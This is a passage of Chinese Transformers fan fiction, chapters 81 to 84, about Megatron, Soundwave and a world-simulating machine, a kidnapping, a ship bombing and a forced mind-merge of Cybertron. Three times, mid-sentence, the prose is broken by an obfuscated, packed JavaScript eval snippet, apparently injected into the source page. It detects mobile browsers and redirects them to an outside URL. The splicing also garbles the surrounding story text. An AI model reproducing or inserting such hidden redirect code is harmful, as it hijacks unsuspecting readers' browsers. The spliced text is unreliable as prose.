RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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塞伯坦的整体情况依旧低迷,选择移民到其他地方的人零零散散,但越来越多。 虽然不是领袖,但我没能做好一个治理官该做的事。 “至少比过去好了。”威震天说。 “恐怕民众不这么觉得。” “派克斯,听着,”曾经的矿工稍稍叹了口气,“我知道你在担忧自己做不好,但‘我是为了谁、为了什么……’这种凡事都归咎于他人的做法,本来就是错的。” “……” “相信你自己能做到最好吧,除此之外,对塞伯坦人这个种族来说,你就没有其他责任了。” 奥利安愣了一下,然后表情稍缓。 “不可思议,你总是能知道我想听什么。” “不敢当。” “那我说真的,威震天,你要不要加入我们?” “有些困难,我最近还有一些事需要思考。” “好的。” 奥利安也不勉强,休息时间快到了,他必须在天亮前赶回铁堡。 “那你以后会加入我们吗?” “……大概,我想会的,”稍作思考后,灰色涂装的塞伯坦人也看向了工业区的街景,“最终会的。” 81.第八十一章 “你闻起来和之前不一样了。” 机器狗站在桌子上仔细嗅了嗅,鼻子几乎已经放在海格特脖子上,凑得太近,早就越过了社交距离,而在他面前的机器只是稍稍侧了下头雕,平静地允许了这个行为。 “有哪里不一样呢?”他轻声问。 “什么都不太一样。” “不可能吧。” “不,是这样的。” 于是海格特回想了一下之前发生的事。 在救护车的世界模拟结束后,那位医生先是陷入一阵思索,就在海格特以为他要说什么的时候,就抱怨着“瞧瞧这里都模拟了些什么好事”、“这下肯定要被那几个霸天虎找麻烦了”之类的话,不情不愿地回到万物之流号了。 在那之后,很多人也过来进行了模拟。 红色警报、千斤顶和充电器……以及最令人印象深刻的小诸葛——他给的参数很平常,就是希望这个世界能让他放手做研究而已(至于他和夸克的事,小诸葛说着谈感情影响他研究的速度,所以坚定不移地选择了继续逃避,无论如何,他不想改变自己,于是就算在模拟世界里,直到最后也没能和夸克说上话)。 结果就是那个世界乱得一团糟。 一会所有人变成二维生物,一会又穿越到其他次元,或者通过量子引擎的副作用,变成死不掉的怪物进行你追我赶的大逃杀,“混沌”作为一种宇宙参数被调到了最高值,没人知道下一秒会发生什么。 所以机器狗说不定是捕捉到了当时的气氛,他的嗅到了数据中的微妙信息。 想到这,海格特默默开口:“我很抱歉,上一个结束模拟的人对这附近的空气造成了某种影响,下次会注意。” “你怎么把这里说得像是使用前清洗内部的外甲清洁机……那个疯狂科学家身上的两面派气息我当然清楚,我说的当然是你啊,海格特。” 说到这,机器狗往后退了一步,似乎是感到悲伤,耳朵也稍稍拉拢下来。 “你是怎么了?心情不好吗?” “没那回事。” 正相反,因为震荡波已经好几次没有出现在模拟世界里了,所以他难得的心情放松。 “可你闻上去生病了。” “我只是看到了真相。” “那就是一种病,海格特,按照我的经验,真正彻底的真相是不会刺痛情绪的。” “……有可能。” 机器不确定地说着。 之后又是一阵令人分神的沉默。 面对机器狗如此明显的担心,海格特只能不催他提交参数,静静等待着。 “在来之前,我根本想不到会变成这么麻烦的事。”最后,兽形金刚跳回他在末路大街临时基地里那个略显破旧的座椅,“我最后问一句,你该不会真的讨厌我们了?” 面对这样有些受伤的提问,机器也变得伤感起来: “我可以保证,绝对没有。” “那我知道一个很好的放松的办法,”机器狗抬了一下前爪,“不过前提是你得是兽形金刚。” “真遗憾,那就没办法了。” “不,有办法。” “?” 在海格特困惑的视线中,机器狗对着旁边至高之门的模型说出了指令。 “只要想办法让模拟世界里的所有人都变成兽形金刚就好了。” 于是很快,在模拟的塞伯坦上。 外表是飞禽走兽,内在和思维却完全没有改变的塞伯坦人们,在星球上度过了极度无序的一段时光。 可惜的是,直到最后,机器狗也没能找到问题的解决办法。 —— ———— 另一边,万物之流号。 安静的个人舱室里,声波宛若静止般无声地站在一旁,凝神等待着某个人的行动。 他整理了从过往世界模拟中能获取的所有资料,全都是为了这一时刻做准备。 ——霸天虎的建立者与领袖,威震天此刻就在这里。 虽然有不少人对他的自由表达了强烈反对,但通天晓根据说条约查询过,发现威震天现在不属于被追责的范围,相反,他在解决之前的竞天择事件中立了大功。 要是继续关着,反而有违人道和规则。 于是在奥利安的赞同下,就和其他霸天虎一样,威震天被从麻醉状态放了出来,但为了安全考虑,还是在由荣格做过心理诊断,判断他暂时没有过高的威胁性后,才以半软禁的形式被留在自己的个人舱室。 那个过程可把橙色的心理医生吓得不轻。 没办法,要是让威震天出来随意走动,恐怕有些模拟世界里被霸天虎害惨过的人会当场应激,然后做出些无法挽回的事。 回到现在,霸天虎的领袖仔细阅读着手下汇总的情报,直到思考了两个恒星日后,才放下手里的数据板。 “红蜘蛛也在这艘船上?” “请允许我更正:是红蜘蛛的幽灵。” “无所谓,都是那家伙。” “是的,但幽灵具体在什么地方,需要询问大黄蜂,他是这里唯一能看到幽灵的人。” “……不必了。”威震天冷笑一声,“就算听见,八成也是些刺耳聒噪的话而已,要是真的有什么重要的事,让他自己委托大黄蜂转达给我。” “了解。”声波点了下头,“除红蜘蛛的幽灵外,这艘船上的霸天虎还有我、机器狗、丧门神、死锁,星域联络范围内还有格拉斯1号、2号监狱内若干人员,目前没有获得直接联系,但可确认规模。” “机器狗没跟你一起?” 虽然那个兽形金刚神出鬼没,可并不会连威震天都刻意瞒着,如果在这里,早就现身了。 “他正在进行世界模拟,在塞伯坦。”声波回答。 “模拟……” 威震天念着这个词。 看到首领欲言又止,声波问道:“您是否打算尝试?” “我对虚假的和平,还有通过向他人证明自己来获得豁免这类事都没有兴趣,跟海格特也没什么个人恩怨。” 机器狗会参加模拟,八成要归于他对海格特本人的友情,以及作为师长的“责任感”。 如果真的要让海格特解决数据化,威震天也不会通过提交参数这样兜圈子的方式。 对霸天虎来说,直接率领部队打过去才是最行之有效的手段。 “是。” 毫无疑问,声波也是这样思考的,所以他一直没有去参加模拟,只是沉默着观战,收集情报。 于是到了现在,威震天很快就获得了理解现状所需的所有内容。 他心里很快做出了判断,而他最忠诚的情报官则是立刻从对方的心声中知道了结果。 “需确认:您依旧打算与汽车人进行和平谈话?” “和汽车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15566410|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人无关,我是打算与这艘飞船的掌权者,奥利安·派克斯谈谈。”和模拟世界不一样,心里没有丝毫迷茫的暴君只是从容不迫的靠着椅背,“既然他没有拿起领导模块,我们就还有谈话的余地。” 不过,也不能说之前的世界模拟没有作用。 在看过了那些可能性后,得知某个和平的世界里,自己和奥利安会成为友人共同治理塞伯坦——虽然结果依旧是世界毁灭,至少心态上多少有了不同。 “指令已接收。” 声波立刻打算对会面进行安排,但还没踏出舱室的门,忽然就听到从甲板上传来了一个声音。 是机器狗,他刚结束塞伯坦上的参数模拟,此时已经回到了万物之流号。 于是情报官稍微改变了一下行动路线,在前往主控制室递交会面申请的路上,声波顺便接上了自己的同伴。 “海格特的情况不太对劲……先不说这些了,我有个消息要带给你。” 机器狗的声音听上去有些失落。 刚这样说完,兽形金刚直接变回磁带形态,跳入磁带舱,开始播放早些时候听到的话。 “你好,声波。”是海格特的声音,“如果你听到这条消息,那机器狗应该平安回到飞船上了。” “……” “你在想什么呢?虽然我自言自语也能表达清楚,但你确定不跟我说话吗?” 听见这个问题,原本以为只是听着录音的声波差点把机器狗扔出磁带仓,但又怕伤害到对方,只能停下来。 “不用这么警惕,虽然能传送我的声音,但数据本身无法做到任何事,机器狗只是暂时被变形锁定而已,在说完想说的话之后强制力就会自然消散,到时候他也会解除变形,恢复正常。” “提问:你到底想做什么?” 对方虽然没有恶意,但毕竟利用了自己对机器狗毫不怀疑的心理,这让声波有些生气。 “别这么生气,我就长话短说了,”海格特不紧不慢地开口,“声波,我希望能与你合作。” “否决。” “为什么?我以为你会至少思考一下。” “我不会背叛威震天大人。” 听见这话,海格特似乎是愣了一下,然后声音放缓:“和背叛没有关系,我指的是在模拟世界进行合作,由我来提出参数,你进行世界模拟,如何?我保证无论结果如何,都不会占用你的模拟机会。” “否决。” 声波经过电子处理的声音依旧听不出任何感情。 “我对参数模拟这件事本身并无兴趣。” “……真遗憾。”海格特说,“那你说—— 现在还处于数据化状态的激光鸟或者圆锯鸟,她们会感兴趣吗?” “你在威胁我?” “不,既然你已经忠于威震天,就不会做出不利于他的行动,别说你的磁带军团,哪怕是你自己也可以舍弃,所以威胁除了与你结怨之外没有别的用。” 海格特只是平静地表达了惋惜之情。 “如果有机会给塞伯坦带来真正的平等,没想到你却因为不感兴趣而放弃,我只是在替她们遗憾罢了。” 真诚而坦然的声音。 可见他的确是这样想的。 “……你想提出什么样的参数?” “等到了塞伯坦,我会告诉你。” 说完这句话,海格特就结束了通讯。 82.第八十二章 “我听说宇宙中有些种族天生拥有多个脑模块,难以想象它们眼中的世界会是什么样的,哪怕是面对同一个问题,只要理论体系不一样,就几乎无法沟通。” 塞伯坦,观测室内。 周围是和机器狗那次几乎别无二致的场景,末路大街的藏身地,海格特坐在一处工作台旁边的椅子上,静静看着霸天虎的情报官,而后者完全看不出表情。 “你说,要怎么才能与自己完全不同的生命交流?”海格特问。 “难以实现,知识不可通约。” “那也只是一种理论而已吧。” “……” 听不见。 从见面起,什么心声也听不见。 怪不得机器狗会做出那副忧心的态度。声波想着。对他们这些异能者来说,海格特的状态简直就像是已经死亡。 但这不现实,所以可能性只有——这个人用某种手段,屏蔽了所有试图探测思维的异能。 这是个并不友好的信号,很多事都变得棘手。 “不能对我读心,对你的打击就这么大?” 海格特双手交叠放在桌上,语气温和地问他,打断了声波的思维。 “互相理解本来就很难,你的能力不起效,虽然会感觉与原先天差地别,但说到底只是回到了所有人的常态而已,欢迎来到其他塞伯坦人的世界。” “……” “‘这话轮不到你说’,对吧?放心,我不会用自己不是塞伯坦人这样的话来取巧,为了公平起见,我也没有观察你的火种。”海格特说到这,忽然闭上眼,“但我是知道的——你为什么会来到这里。” 声波抬起视线,看着眼前的机器。 很快他就意识到,对这个越来越超出计算范围的存在,想通过表情判断对方的心理完全是浪费力气。 “你知道些什么?”他问。 “比如?趁着之前数据化暂停的机会,你将威震天送去了万物之流号……但愿警车没有为难你,虽然那大概是不可能的。” 对于数据化整个塞伯坦的机器来说,知道这也是理所当然。 包括判断每个人的性格,经历与行为。 “我很希望你是凭自己的意愿来找我,不过对那个革命者来说,手下被派过来只会有一个理由。” 说到这,海格特重新睁开眼,认真看着深蓝色涂装的塞伯坦人。 “虽然异能不起作用,但你还没有失败,你还肩负着他派给你的其他任务——我是这么猜测的。” 声波毫无反应,情报官的素质让他没有透露一丝一毫的情报。 但这本身就已经是一种信号了。 “不过我得承认,这段时间里有不少事情超出我的预料,”海格特说,“比如我还以为对你发出邀请后,来的人会是丧门神,毕竟他更适合打头阵。” “提问:你是否坚持原先自己提出的方案。”声波打断他。 “是的。” “没有余地?” “没有。”海格特回答得毫不犹豫,“哪怕你们霸天虎是出于自己的意愿,想在被数据化和死之间选择后者,我也不会同意。” 当然不会有人觉得自己值得一死,他们有无数种活下去的动力,但绝不是现在这样。 向作恶的统治者反抗与斗争很容易。 向施善的控制者(机器)发起反叛却很难。 这台机器,用着近乎傲慢的态度,先是不自知地重新定义了“生命”的概念——这本来无人可定义,然后赋予自己违背他人意愿而让他们“活下去”的权利。 果然…… 这样下去,海格特对整个种族来说如何暂且不论,至少他已经变成霸天虎前进路上的巨大阻碍。 “总觉得说下去好像就会跟你变成敌对状态了,不过还是谢谢你特地过来劝阻我。”机器认真地说,“我会记住的。” 话已至此,这个空间里已经没有更多言语堆积起来的余地。 没有语言,没有读心,也没有注视火种的视线。 世界已经无法交汇。 于是,声波微微低下头,点开了自己的内线通讯,发送到了最优先的频道。 先是一阵调试的杂音。 然后在海格特有些疑惑的目光中,他将一个声音向外播放。 “那台机器,现在就在你的面前。” 不紧不慢的声音,单从语气来说,其实没有带着什么强大的气势或威严,而是仿佛说起琐事,略显沉闷的厚重语调。 但如果是很多塞伯坦人听见这句话,说不定就会顿时想从这里逃出去。 只是因为说话者的身份,以及他曾经做过的事。 虽然没有感到恐慌,但海格特还是有些惊讶地微微睁大光学镜,然后看向声波:“你是特地录制了威震天的消息过来给我吗?” 话音未落,从声音对面忽然传来一声冷笑。 “原来机器也会做出愚蠢的判断。” 啊…… 不是录音。 而是实时通讯。 信号穿过数据化的电子层,突破了绝不可能突破的障碍,欺骗了机器的感知,不知道用什么方法,直接从遥远的宇宙中传达到至高之门的面前。 “我明白了,这是之前对机器狗那件事的报复……你的确是这种人。” 虽然声波什么都不说,但总会想办法让他人知道自己的愤怒。 这份哪怕在看到过无数次悲剧后,依然无处可去,无法消解的怒火。 实在是……过于鲜明。 海格特这样想着,侧过头雕。 “那么霸天虎的首领,有什么要对我说的?” “我给你三天时间。” 没有任何多余的话,和刚才的平静不同,知晓敌人近在眼前的暴君,话语中的气势仿佛要吞噬一切。 明明知道对方没有任何异能,却还是忍不住感觉到了战栗。 “——三天,选好自己的死法。” 说完,通讯就切断了。 —— 与此同时,万物之流号。 红蜘蛛的幽灵已经有一段时间没出现在大黄蜂的眼前了。 难得的清闲中,正在自己舱室里整理物品的小型侦察兵,忽然听见身后传来开门的声音。 “是谁?” 出于长期对“有人在自己旁边”的习惯而没有立刻回头,这是个错误决定。 来不及做出任何判断,刚来得及将那人的机体映入眼帘,在大黄蜂眼前,一张抑制网就从天而降。 警报很快被拉响了。 有人未经报备,擅自开走了万物之流号上一艘小型飞船,而监控设备莫名在那段期间停止运转,不得已,只能进行人员排查。 而最先发现情况的是荣格。 他按照这几天的习惯,照常去检查能与幽灵沟通的大黄蜂的精神状态,结果敲门进去,却发现那间舱室一片混乱,就连大黄蜂平时绝对不会乱放的武器维护工具都散落一地。 心理医生又去附近找了一圈,无果后就赶紧将这件事通报给主控制室,而经过通天晓迅速排查相关人员,得到的结果却更令人难以接受。 就在半个塞星时前,死锁绑架了大黄蜂,擅自离开了万物之流号。 “不行,通讯被切断了。” 正在试图连接信号的探长露出一副感到棘手的表情,一边和警车一同操作器械,一边在数据板上记录着什么。 “备用的紧急联络系统查了吗?那东西能独立于主能量循环系统独立运作,而且编码没有被小队成员之外的人知道。”铁皮说,“毕竟那小子是个侦察兵。” “我也查过了。” 探长说着,拿起手里的数据板展示给众人。 “在通讯被彻底截断前,他只来得及抓紧时间发送出了一句话——” 【你的意思我知道了,但是内容还是不太理解,你们到底要对他做什么?】 这句话包含了至少两个信息。 首先大黄蜂认为比起他自己,另一个人遭受的威胁更大,换言之,大黄蜂认为自己此刻的处境是安全的。 还有,更重要的—— 绑架者是复数。 不止有死锁参与了这件事。 —— ———— 塞伯坦,观测室。 在短暂的沉默后,海格特自言自语般地开了口。 “这种能突破我数据化的通讯手段,逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15577969|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱了参数捕捉,是通过异能实现的吗?” “……” “没想到你们已经研究出这种程度的通讯手段,非常佩服,这是真心话。” 声波依旧不语。 与此同时,海格特的语气变得略显无奈。 “不过他人的介入是作弊行为,哪怕你只是在模拟开始前联系他,我不会追究,但接下来不只是针对你,我会屏蔽所有来自外界的异能。” 就好像刚刚被霸天虎领袖进行了死亡威胁的不是他一样,似乎什么也没发生,什么也不在乎,大概没有比这更严重的挑衅。 “我没有不尊重你们的意思,但寄生于这颗星球,欺骗你们的我的真实身份就是机械——你可以去威吓一台数据板,但期待它做出反应就是另一回事。” “正事。” 声波突然开了口。 “啊。” 海格特愣了一下,然后有些高兴地锤了一下掌心。 “原来你还记得呀,那怎么不早说?既然你已经在这里,那就只能做出世界模拟和被数据化之一的选择。” “参数是什么?” “就像我之前说的那样,是你与我的合作,”机械勾起嘴角,“假如……威震天死了。” 那一瞬间,声波的愤怒是显而易见的。 但还不等他将武器瞄准什么地方,忽然肩膀就被拍了一下。 “先别生气。” 瞬间绕到他身后的海格特低声说着。 “我的主题从一开始就没有变过,是关于互相理解的事,虽然不同种族之间的理解非常困难,但是,你不一样。 你能理解到更多东西,能听到那些在语言之上的情感,这也是我请求你过来的原因之一,我想更加了解塞伯坦人,还有其他的种族,只要将我的视觉和你的听觉整合,足以获得全世界百分之九十四以上的情报。” “提问:你提出让威震天大人死亡的参数的目的。” 果然还是执着于这一点。 “我不会出于恶意提出这种参数,我想表达是,如果他死了,霸天虎各自为政,而你依旧践行他的理念,想给塞伯坦带来和平与平等,然后……” 在霸天虎情报官的音频接收器旁,机器清晰准确地说出了这条信息—— “你成功了。” —— ———— 监控等设备的忽然损坏。 死锁的忽然行动。 还有,目前已经前去塞伯坦的声波。 尽管没有决定性证据,但一切迹象都表明了一个事实,于是在派出一部分人追查死锁的下落后,奥利安不顾劝阻,径自找到了一个人。 “是你下的命令。” “派克斯。”威震天坐在椅子上,依旧一副气定神闲的态度,“你是来找我确认的?” “不,我肯定是你,让丧门神影响了电子设备,让声波去塞伯坦,又让死锁绑架了大黄蜂……你难道不明白现在塞伯坦正面临危险吗?做这些事有何意义?” “这些话,我只想反过来问你们。” 银色的暴君冷冷抬起视线。 “叫着‘万物之流’这样的名字,但一个个几乎都对那台机器温情脉脉,滥用着同情心,按照对方的想法行动。” 无论是强大的敌人,还是命运,任何想将其吞噬的东西,最后都会被他反过来吞噬,现在的威震天完全拥有这种魄力。 霸天虎的领袖站了起来,直面奥利安的光学镜,后者顿时戴上面罩,做好迎敌准备。 但是。 在了解那么多模拟出来的未来,那么多因为他的愤怒和执念造成的后果后,原本会毫不犹豫使用融合炮的反抗者,多少还是有了些控制愤怒的方法。 “我不想指责你的理念,但既然你们觉得所谓的沟通和理解能解决问题,那我也会用我的做法—— 用塞伯坦人的做法在解决这件事。” ——“砰!!!” 某处忽然爆发而出的一声打穿空间般的巨响,紧接着是强烈的失压,还有尖叫声。 在那个瞬间,几乎是所有人都意识到,那个声音意味着什么—— 万物之流号,这艘作为阵地的飞船,发生了爆炸。 83.第八十三章 “你想死是不是。” 末路大街,地下交易场所,几个佣兵逮住了差点逃跑的诈骗。 “这箱子里装的高性能汽车人炸/药,有一半都是铁块伪装的,还是说你的脑模块需要我们修修?” “嘿,冷静点老兄。”被提起来的诈骗一脸讪笑的摆摆双手,“而且您也没问过我多少量算一份啊,我在卡隆还有点货,要是觉得不够,要不您跟我去取?” “少跟我废话!今天凑不到货,老子就拿你的火种来当炸/弹!” 佣兵举起拳,眼看着就要打下去。 诈骗反射性地闭上光学镜,同时早早准备了用来脱身的电击装置,打算在挨一下后趁对方不注意逃走。 但等了一会儿,迟迟没有等到头雕上传来的疼痛。 于是诈骗小心翼翼地睁开光学镜,这才发现在落下前,那只拳头毫无征兆地停了下来。 “……嗯?” 他没弄明白对方为什么突然停下动作,但下一刻,却突然“感受”到了一个声音—— 【如果就这么打下去,这家伙大概会痛。】 【他在害怕我。】 【所以我应该下手吗?……对这个,同族?】 仿佛触发了某种抑制机制,上一秒还气势汹汹的佣兵忽地松开手,诈骗跌在地上,刚下意识地想变形逃走,却听见那个声音这次从他自己脑海中冒了出来。 那是一个古怪的,绝不该存在的想法—— 【为什么我没有了解别人的痛苦,一直在行骗?】 【我在行骗?我不应该打人,不对,我是……我是……】 【“我”是谁?】 紧接着。 不只是他们,连带整条街道、整个区域、整颗星球。 针对所有拥有火种的塞伯坦人,所有人都听见了彼此的心声。 世界像是被打翻的容器,原本独立存在的一碗碗水被倾倒进巨大的染缸,所有人的思维被打翻了混在一处,彻底分不清你我。 和谐,统一地共振。 宛若音乐。 宛若灾厄。 强制力般的相互理解瞬间暂停了所有的伤害和不道德行为,战争停止,暴力武装被尽数解除,仅仅短暂的一瞬,这颗星球变得无比安静。 “结局:成功?” 星球某处的至高之门内,失去领袖后为了继续霸天虎的大业,选择将自己的异能授予这台机器的声波提出了疑问。 “成功了。”海格特在他身后空白的空间内站着,微笑回答,“其实原本,一部分善良的塞伯坦人也会对他人投射感情,能够对他人的处境充满同情和怜悯,但无论是谁,都无法做到真正的完全理解。” 头脑之间彼此独立。 “而现在,那个确保思维独立的屏障消失了,一切都变得透明……已经不需要再担心任何事,大家都互相理解了。” 是故。 犹如天堂,犹如地狱。 永远持续的暴走幸福世界在这一刻不可逆地启动。 —— ———— 早些时候,万物之流号。 一个小巧的身影路过狭窄的通道,向角落仓库的位置走去。 在之前的数据化暂停期,随船员新来到宇宙飞船中的人里,大部分都是武装人员或者在某方面的专家。 所以发条一直不明白,为什么作为“可抛弃阶级”的自己会被选择送上来。 想来可能只是顺手,因为他正好就在旁边,迷你金刚也不占空间,就被顺便带上来了。 上来后他也没什么事做,只能做起记录员的老本行,记录所有人的世界模拟,然后把看到的东西实时转化成画面资料录入数据库。 接连不断的高速运转下来,头雕侧方的记录仪出现了磨损,于是他准备去仓库找东西维护一下。 出于一些个人原因,发条不想碰上警车,于是特地挑了这条没人会走的排线通道,这里空间狭小,基本上只有迷你金刚能进去,所以不用担心会碰到人。 “……咦?” 无人的空间放大了感官,因此在路过某个靠近舱门的区域时,他听见不远处传来细微的脚步声。 想着可能是某个巡逻人员,发条下意识停下来,刚想对外面解释一声自己的身份,结果在空隙中往外看去时,发现那身影并不是红色警报或者其他安保人员。 目光看到的是一台少见的紫色涂装的机体。 是丧门神。 换言之,就是霸天虎。 他正在将一个什么东西安装在舱门上,从大小和形状来看,大概是—— “!” 在意识到那是定时炸/弹的瞬间,发条险些惊呼出声,但下一刻音频发声器猛地收紧,他迅速蹲下来,混在排线管道内部的杂物堆里,避开视线,几乎连空气都不敢置换。 所幸直到离开,丧门神都没有发现他。 一个可抛弃阶层,最擅长的就是“被忽视”。 通讯被阻隔,于是不会拆弹的记录员一路跑到控制室,向驻守那里的通天晓报告了刚才的发现。 通天晓很快做出反应,正因此,在爆炸真正来临之前,舱门区域被单独隔离,这才没有伤到飞船的引擎和主体结构。 然而哪怕没有酿成灾难,威震天和丧门神还是在混乱中趁机离开了。 “这种高性能炸/药我没见过,肯定不是汽车人安保部队的东西。”看着发条留下的记录影像,又对爆/炸地点的残留物质做过调查后,小诸葛直截了当地道,“得等出去抓死锁的感知器他们回来。” “感知器知道这是什么?”有人问。 “当然不。” “那你还……” “哦,这是因为我俩可以申请用一下月卫二上的高级实验室然后尝试做出一模一样的成品,我这就递交申请书。” 他话没说完,就□□脆地驳回。 “虽然我只是推测……”在小诸葛的抱怨声中,一直看着检测报告的刹车忽然开口,“在先进技术学院我看到过类似的成分,但当时我不知道是炸/药,所以也不确定。” 说到这个份上。 来源是谁几乎已经不言自明,毕竟那所学院里有这个实力的科学家只有一人。 整个空间顿时陷入一片寂静,直到一个声音打破沉默。 “是否对霸天虎进行追击?” 说话的是警车,他的指尖悬停在数据板上方,只要奥利安一声令下就会开始行动。 然而后者只是做了个制止的手势,摇摇头。 “我们的确需要一些改变。”他说,“此前我一直在思考这件事,看来现在已经没有更多的时间。” 说到这,奥利安转身面对众人。 “很遗憾,我想我们不得不做好战争准备。” “与谁的?”热破问。 “与阻止塞伯坦迈向未来的……所有人。” 有些语焉不详地说完后,他对在场的每个人提出了具体命令,最后除了热破,所有人都离开了。 “等会,真没事给我做吗?那我跟着警车去联系弹簧他们?连充电器都有秘密任务要做,让我也发挥点作用行吗?” 尼昂的年轻领袖已经快等不及了,但奥利安却还是沉默了一阵才开口。 “我刚才向通天晓申请到了你的权限。” “什么?” “这是一个坐标地址。”奥利安说着,将一则消息发送到热破的内线,“那里关押着一个危险罪犯,需要你去将人请过来。” —— ———— 模拟世界内。 声波默默看着眼前的一切。 这真的是正确的道路吗? 疑惑只出现了短暂的数秒,很快又被其他情感覆盖过去。 理论上,他的精神已经成为至高之门的一部分,如果要以生命为主体的话,就是至高之门成为了他的一部分,拜此所赐,声波读到了他人的所有“思想”,却还能保持个体的独立性。 反之亦然。 “终于……原来是这么一回事。” 机器喃喃着。 在空无一物的世界里,声波看着海格特的表情。 终于感受到塞伯坦人情感的机器看起来有点伤感,将目光放在远处。 表情和情绪被尽数摆在面甲上,没有一丝虚伪。 这台机器从不隐藏自己。 也正因为他不隐藏。 所以有一瞬间,声波感觉到了—— 长久的孤独。 以及。 对塞伯坦人这个种族,深切的爱。 有一种相互理解的……错觉。但哪怕只是错觉也足够。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591535|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >在各种各样的人,各种各样的人生和思想的嘈杂中,这个失去领袖的前霸天虎情报官居然获得了安宁。 互相理解,不容许杀人行为,不容许战争,不容许压迫和歧视。 平等。 和平。 如此美好的世界,变成了现实。 然而在这个瞬间—— 一道异样的“思维”忽然刺了进来。 “为了一点别人施舍的错觉就感到满足了?真可笑,看来你也不怎么清醒。” 那个思维执拗地如此表达着,让声波从那宛如梦境般的感受中瞬间脱离。 那是在这被不断同化的世界里,宛若钢针般尖锐的否定之意,拒绝与他人的思维同化,拒绝感同身受,拒绝自己以外的所有人。 极端的,自我。 在声波做出回应前,海格特就先一步找到了对方。 那个坚持着没有被同化的塞伯坦人——尽管已经因为抵抗特殊脑电波的入侵而满脸是血,无法变形,但依旧提着武器,朝着至高之门所在地的方向前进。 海格特出现在那人面前,说出了对方的名字。 “红蜘蛛。” “哈。” 浮现在霸天虎空中指挥官面甲上的,是显而易见的愤怒。 “你做了什么,对吧?竟然把世界变成这么恶心的样子,所有人都像是有机星球的黏菌一样成了彼此的分身,创造出这种东西你自己看了不会想吐吗!?” “说得真难听,”话虽如此,海格特也没有生气,“还是说,你觉得无止境的战争才好?” “只是你单方面这么认为。” “不,这是‘所有人’的判断,我只是将其具象化而已,如果你一定要与之相反,那才是一种背叛。” 听见那个词,红蜘蛛反而笑了。 “背叛……你以为类似的事我做得还少吗?” 他说着,将手臂上的枪/口调转了方向。 “但是‘不得不’背叛,这还是头一次,给我记住,这是我对你的复仇——” 尖锐的声音突然压低,在猩红的光学镜中,海格特看到了某种令人恍惚的,闪烁的东西。 “让世界毁于一旦的是我。” “什么意……” 【“砰——!”】 血液像鲜花一样向上绽放。 事情发生得太过突然,海格特呆站在原地,他被溅了一身的血,眼睁睁看着红蜘蛛倒了下去,步/枪掉在他身边,发出沉重的闷响,而头雕上已经空无一物。 自我清除。 真是疯了,为什么会有这种事? 纯白的世界里,猩红在不断蔓延。 机器光学镜闪烁了一阵,最后下意识地,将那痕迹清除掉了。 “对了,之前也发生过这种事。” 而且是在没有模拟的现实世界里。 尽管死亡的感触让完美的世界出现一丝瑕疵,但很快又被数量更多的人的思维覆盖过去。 于是机器也停止走神,僵硬的表情重新变得柔和。 “……真的,很遗憾。” 他对尸体喃喃着。 “我本来希望你能在这个世界里获得幸福。” 不过也多亏红蜘蛛,他想起自己制造这个世界的最初目的,比起让平等与和平降临之外更重要的那个目的。 现在,他利用声波无差别读心的异能,再加上互相理解后节省的资源,用至高之门作为增幅器,将能力扩散到宇宙中,开始寻找那个对塞伯坦人充满恶意的灵魂。 其实只有模糊的印象。 对那个灵魂的来源,自己能用的只有模糊的印象和直觉,但这也就足够了,毕竟模拟世界里面的时间非常充裕。 海格特仔细寻找了许久,几乎忘了时间,而就在探测到某个区域时,忽然又产生了当时的感受,那种来自火种舱深处的凉意。 “你在这……” 他喃喃着,正想对那个恶灵说些什么,忽然动作一顿。 听见了尖锐的报错声,伴随着近乎陌生的古怪感觉一起涌上脑模块的位置。 紧接着,铺天盖地的报错通知直接覆盖了光学镜前的世界层。 错不了,这不是模拟世界里的东西。 海格特几乎是瞬间就意识到一件事:他位于塞伯坦的本体,遭到了数据攻击。 84.第八十四章 “声波会将威震天的通讯信号引到塞伯坦,到时候,海格特自然会为了阻止入侵而屏蔽所有来自外界的特殊信号。” “霸天虎的协助者会暗自对塞伯坦输入增幅信号的波段,让我脱离世界模拟的进程,而因为屏蔽的缘故,海格特大概率会看不见变成幽灵的我。” 声波的世界模拟开始之前,宇宙某处。 小型飞船的驾驶室内。 死锁正在驾驶飞船,而被绑架过来的大黄蜂坐在角落里,抬头茫然地看着一直喋喋不休的红蜘蛛的幽灵,后者正在无声地来回踱步。 “趁这个机会,我就能瞒过那台机器的感知,利用增幅信号短暂地影响现实,去破坏至高之门。” 听上去要碰运气的部分好多。 大黄蜂这么想着,但说了肯定会得罪人,于是道:“可是一旦他发现你,很快就会露馅吧。” 